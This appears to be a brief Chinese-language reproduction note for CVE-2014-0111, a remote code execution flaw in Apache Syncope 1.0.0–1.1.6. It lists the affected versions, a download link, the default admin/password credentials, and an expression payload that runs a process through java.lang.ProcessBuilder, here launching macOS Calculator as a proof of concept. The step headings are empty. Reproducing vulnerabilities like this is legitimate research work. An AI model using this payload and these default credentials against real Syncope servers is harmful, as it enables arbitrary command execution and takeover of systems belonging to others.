Apache Syncope(CVE-2014-0111)

syncope 2.0之后才有docker：https://hub.docker.com/r/apache/syncope
所以在Mac上复现就下载（带tomcat及其配置）：
https://archive.apache.org/dist/syncope/1.1.6/syncope-standalone-1.1.6-distribution.zip

影响范围：

Syncope 1.0.0 to 1.0.8
Syncope 1.1.0 to 1.1.6

初始账号密码：admin / password

复现

payload:

new('java.lang.ProcessBuilder',['/Applications/Calculator.app/Contents/MacOS/Calculator']).start()

Step 1

Step 2

参考：https://remoteawesomethoughts.blogspot.com/2017/11/apache-syncope-remote-code-execution-by.html?view=classic